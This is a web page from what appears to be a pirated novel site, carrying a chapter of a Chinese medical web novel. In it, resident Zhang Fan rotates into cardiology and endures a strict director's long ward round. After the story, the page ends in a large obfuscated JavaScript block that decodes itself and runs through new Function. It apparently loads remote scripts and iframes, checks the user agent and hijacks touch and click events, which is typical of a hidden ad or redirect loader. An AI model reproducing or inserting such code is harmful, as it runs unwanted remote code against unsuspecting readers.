首页
第六十四章 心内
返回

第六十四章 心内

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    普外算是结束了。手术算是做了几台,可没达到张凡的目标。遗憾,为了手术量都没回家,得不偿失啊。
    出了科室,张凡转科到了心内科。本来他想继续转外科,可医务处安排了内科,也没办法。为了这点事情去找欧阳,没啥意思。
    欧阳也肯定不会为张凡,提前给医务处打招呼,不然这个院长太不值钱了。
    心内科,在外科楼的对面内科楼上。整个两层,算是最大的内科。欧阳就是心内出身,心内还附带着介入,病人超多。
    西北地区,饮食脂肪摄入较高,高血脂、高血压、高血糖患者人群基数大,科室医生也多,小二十多人。现在的科室主任是欧阳的徒弟。
    也是个女主任,任丽,四十多岁。医院里唯一一个研究生,据说以前是在省里大医院工作的,因为省里医院的科室倾轧的厉害,干的不舒心,最后被欧阳挖到了市医院。
    任丽的专业相当强悍,人也漂亮,就是情商稍稍差点,不会来事。在她成为心内的主任后,科室飞跃发展。
    外派学习的医生也是内科中最多的,新技术、论文在内科中是拔尖的。下级医生也佩服她。她做事不独,让能力说话,收入也挂靠在能力上面。算是公平一点的主任。
    心内科在茶素市的医院里面,市医院算是最权威的科室了。欧阳给她的支持力度也大,在老黄时代,欧阳其他的内科几乎都放弃了。
    就对心内紧抓不放,为了获得更多的资源支持,经常和老黄据理力争。介入科室的成立其实就为心内专门弄得。
    当年市里批了一个卫生专项款,老黄准备要成立一个,骨科疾病研究中心,欧阳极力反对。她建议成立介入科室。
    为这事情,两人把官司打到了市委。扯皮了半年,最终欧阳胜出,资金用来成立介入科室。老黄始终耿耿于怀,给介入科室,始终不配备后备力量。
    欧阳也硬气,硬是带着任丽她们把心内和介入发展起来。介入发展起来后,收入剧增,好些个年轻医生都想进心内。
    任丽专门设置了个进科考试。不过关,绝对不要,她有欧阳支持,医院也没好的办法。技术单位,技术为王,你不行,进不去人家不要你,真的没办法说。
    张凡进科室后,就头皮发麻。心内科不像是外科,年纪大的也有,可心内几乎清一色的老年人。扶拐杖的,坐轮椅的,搀着走的,摇摇晃晃的,看着都危险。
    外科和内科几乎是两个系统,虽然在一个医院,除了会诊,一般交流不多。张凡又天天泡手术室,和内科的医生都不太熟悉。
    他在外科名声鹊起,可在内科知道他的人几乎没有。在这里,他就是个小医生,转科的住院医。外科的特权没有了,受尊重更谈不上。
    系统还没有打开内科,他只能靠自己肝了。转心内的还有两个女生。一个从妇科过来,一个从儿科过来。都是预定搞内科的。
    张凡被分给了叶晶,一个主治。三十多岁,在心内科默默无闻。一个科室,骨干就那么多,位置就那几个,不争取、不努力是没什么机会的。
    叶晶老公是公务员,收入不错。她对业务没啥想法,就是一份工作而已。她主要的心思都放在家里了,照顾好孩子,伺候好老公就是她的追求。
    无可厚非,都是普通老百姓,这是大多数人的想法,可是在技术单位,你不加油,只能落得个边缘人物。张凡是内定外科的医生,来外科
    也算是打酱油的,指望不上。所以就把张凡分给了她。
    进科第一天,就碰到院长大查房。医生护士,进修的医生,实习的学生,医务处的,几乎都快过五十人了。
    就这,好多护士都没参加,因为有大量的液体要配伍,没办法参加。
    内科查房不像外科,外科都很明朗,该做啥手术做啥手术,实在检查不出来,那就剖腹探查。探讨最多的就是术式,谁主刀。
    而内科,首先得谈个机理机制,病种分级、用药种类。到底是用何种药物更加好,用多久,多少剂量,有没有禁忌症。
    欧阳当了院长也没放下业务,仍然在学习,她查房还要提问,对主治、转科、实习、进修的医生进行随床提问。主管医生还要负责汇报病情。治疗方案,合适不合适,当时就要讨论。
    不合适,还要当场订制合适的治疗方案,一个早上都查不完。
    又不能查都一半就结束,她们直接连着中午查房。身体差点的医生绝对熬不住。站都站不住,何论还要抽空修改当天的医嘱。
    张凡问题不大,几个医学院的学生和进修的就有点吃不消了,因为从来没碰到过,这种高强度的查房,偶尔偷偷的靠墙站一会。因为他们怀里还抱着病例。虽然是塑料夹子,可十几份病例摞一起也很重。
    欧阳的提问很专业细致,经常问的下级医生哑口无言回答不上来。她比较严厉,当场就要上级医生回答,上级医生回答不上来,那立马就翻书,一点情面不给。
    她查房的时候,医生们都紧张的要死。在病房里,当着病号的面,让她数落一顿,真心难受。
    今天的查房倒是对张凡没提问,张凡内定外科。说不定就回答不上来,她不了解张凡和李晓的关系,算是给李晓面子,没让张凡下不来台。
    欧阳老太太,个子不高,可自带院长光环,给大家的压力特别大。再加上她又很严厉,弄得几个转科的兢兢战战的,气场逼人啊。
    查完房,还有好多病程要记录。今天是大查房,主管医生和下级医生都随身带着笔记本,要当场记录上级医生说的口头医嘱。
    然后要在病例里面体现出来。内科的病例比外科要求高好多。比如骨科车祸的,很简单,就是车祸导致那根骨头骨折了。时间、地点、人物、受伤程度ok了。
    内科不行,得从发病开始精炼出来,治疗过没有,何种治疗,效果如何,加重了没有,有没并发症。平时服药治疗了没有。
    内科的病例对用词、语气是相当考究的。可、尚可、好等词语,用的地方都不一样,你要用错了,欧阳能用手指头,点死你。
    用药也繁杂,外科用药就哪几种,抗生素、止血药、活血药,了不起用点白蛋白、输点血浆、能量。按消耗给药就行。
    内科不行,同一类的药物个体差异很大,有的人可以用,有的就不行。
    粗通内科简单的很,一个住院医在科室三个月就大概够用了,可要想精通就难了。首先基础的扎实,从生理到病理、从组胚到生化都得熟背精通,拿起来就能用。
    碰到病种才翻书,那只不过是个入门的医生。触类旁通,一个好的内科医生,能从你的口味中分析出你的身体状况,看一眼你的脸色,就对你的身体状况有个大概了解。
    要达到这种程度的内科医生,没有个十几年扎扎实实的学习,思考总结,想都不要想。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();